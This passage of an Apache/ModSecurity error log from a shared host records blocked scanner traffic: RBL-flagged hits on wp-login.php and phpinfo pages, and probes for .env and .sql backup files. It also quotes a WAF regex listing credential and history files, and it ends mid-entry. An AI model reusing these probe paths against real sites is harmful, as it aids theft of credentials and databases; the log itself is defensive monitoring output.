[security2:error] [pid 648189:tid 648448] [client 189.217.192.30:50169] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3y_VWSojQL4F7upKBhzAAAAOI"] [Sat Jun 13 18:17:01.866379 2026] [security2:error] [pid 648189:tid 648236] [remote 17.241.75.141:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 141.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y_VWSojQL4F7upKBhzQAA3A8"] [Sat Jun 13 18:17:01.941135 2026] [security2:error] [pid 646876:tid 647058] [client 34.23.213.224:43916] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y_dyTkdrNlD40tSGshAAAADI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:02.061040 2026] [security2:error] [pid 648189:tid 648410] [client 185.177.72.9:40452] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/dashboard/info.php"] [unique_id "ai3y_lWSojQL4F7upKBh0gAAAL0"] [Sat Jun 13 18:17:02.104439 2026] [security2:error] [pid 648189:tid 648471] [client 34.23.213.224:43918] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y_lWSojQL4F7upKBh1AAAAPU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:02.133218 2026] [security2:error] [pid 648189:tid 648470] [client 34.23.213.224:43926] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y_lWSojQL4F7upKBh1QAAAPQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:02.178533 2026] [access_compat:error] [pid 646876:tid 646997] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:17:02.178807 2026] [access_compat:error] [pid 646876:tid 646997] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:17:02.267108 2026] [security2:error] [pid 648189:tid 648355] [client 34.23.213.224:43940] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y_lWSojQL4F7upKBh2gAAAIc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:02.297651 2026] [access_compat:error] [pid 648189:tid 648279] [remote 57.141.14.77:63263] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:02.298094 2026] [access_compat:error] [pid 648189:tid 648279] [remote 57.141.14.77:63263] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:02.322004 2026] [security2:error] [pid 648189:tid 648397] [client 34.23.213.224:43950] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y_lWSojQL4F7upKBh3gAAALE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:02.329471 2026] [security2:error] [pid 648189:tid 648416] [client 185.177.72.9:40462] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/dashboard/phpinfo.php"] [unique_id "ai3y_lWSojQL4F7upKBh3wAAAMM"] [Sat Jun 13 18:17:02.597972 2026] [security2:error] [pid 648189:tid 648378] [client 185.177.72.9:40470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/dashboard/test.php"] [unique_id "ai3y_lWSojQL4F7upKBh5gAAAJ4"] [Sat Jun 13 18:17:02.713863 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:17:02.714346 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:17:02.867423 2026] [security2:error] [pid 646876:tid 647071] [client 185.177.72.9:40478] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/data/.env"] [unique_id "ai3y_tyTkdrNlD40tSGsjQAAAD8"] [Sat Jun 13 18:17:02.895898 2026] [security2:error] [pid 648189:tid 648233] [remote 17.241.227.91:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 91.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y_lWSojQL4F7upKBh7gAAmQ0"] [Sat Jun 13 18:17:03.004505 2026] [security2:error] [pid 646876:tid 647048] [client 185.177.72.9:40478] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/database/.env"] [unique_id "ai3y_9yTkdrNlD40tSGsjwAAACg"] [Sat Jun 13 18:17:03.140766 2026] [security2:error] [pid 646876:tid 647077] [client 185.177.72.9:40478] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/dataset1/.env"] [unique_id "ai3y_9yTkdrNlD40tSGskQAAAEU"] [Sat Jun 13 18:17:03.147270 2026] [access_compat:error] [pid 648189:tid 648281] [remote 57.141.14.89:43818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:03.147542 2026] [access_compat:error] [pid 648189:tid 648281] [remote 57.141.14.89:43818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:03.207323 2026] [access_compat:error] [pid 648189:tid 648329] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:03.207674 2026] [access_compat:error] [pid 648189:tid 648329] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:03.235262 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:17:03.235544 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:17:03.276115 2026] [security2:error] [pid 646876:tid 647034] [client 185.177.72.9:40478] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/dataset2/.env"] [unique_id "ai3y_9yTkdrNlD40tSGskwAAABo"] [Sat Jun 13 18:17:03.487158 2026] [proxy:error] [pid 646876:tid 647032] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:17:03.487207 2026] [proxy_http:error] [pid 646876:tid 647032] [client 185.247.137.78:53725] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:17:03.488093 2026] [proxy:error] [pid 646876:tid 647032] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:17:03.488128 2026] [proxy_http:error] [pid 646876:tid 647032] [client 185.247.137.78:53725] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:17:03.504461 2026] [security2:error] [pid 648189:tid 648265] [remote 17.241.227.73:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y_1WSojQL4F7upKBh_gAA6ys"] [Sat Jun 13 18:17:03.557176 2026] [security2:error] [pid 646876:tid 647082] [client 185.177.72.9:40478] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/db.php"] [unique_id "ai3y_9yTkdrNlD40tSGsmQAAAEo"] [Sat Jun 13 18:17:03.722485 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvc2VyaW8x [Sat Jun 13 18:17:03.722869 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvc2VyaW8x [Sat Jun 13 18:17:03.813125 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.89:43822] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:03.813454 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.89:43822] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:03.835634 2026] [security2:error] [pid 648189:tid 648450] [client 185.177.72.9:40720] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/db.sql"] [unique_id "ai3y_1WSojQL4F7upKBiCgAAAOQ"] [Sat Jun 13 18:17:03.912972 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.33:42915] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:03.913454 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.33:42915] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:03.977057 2026] [security2:error] [pid 648189:tid 648397] [client 185.177.72.9:40720] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/db_backup.sql"] [unique_id "ai3y_1WSojQL4F7upKBiFwAAALE"] [Sat Jun 13 18:17:04.122561 2026] [security2:error] [pid 646876:tid 647126] [client 43.130.174.37:58180] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.174.130.43.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zANyTkdrNlD40tSGsnwAAAHY"] [Sat Jun 13 18:17:04.232646 2026] [security2:error] [pid 646876:tid 647064] [client 63.135.161.149:29727] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.161.135.63.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "tiptoppartyrentals.com"] [uri "/wp-login.php"] [unique_id "ai3zANyTkdrNlD40tSGsoAAAADg"], referer: https://t.co/ [Sat Jun 13 18:17:04.236265 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjE0L3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:17:04.236541 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjE0L3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:17:04.295342 2026] [security2:error] [pid 648189:tid 648483] [client 34.23.213.224:43964] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAFWSojQL4F7upKBiIQAAAQE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:04.377665 2026] [security2:error] [pid 648189:tid 648296] [remote 17.246.19.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zAFWSojQL4F7upKBiJgAA3Uo"] [Sat Jun 13 18:17:04.457489 2026] [security2:error] [pid 648189:tid 648476] [client 34.23.213.224:43980] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAFWSojQL4F7upKBiKQAAAPo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:04.486605 2026] [security2:error] [pid 648189:tid 648384] [client 34.23.213.224:43984] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 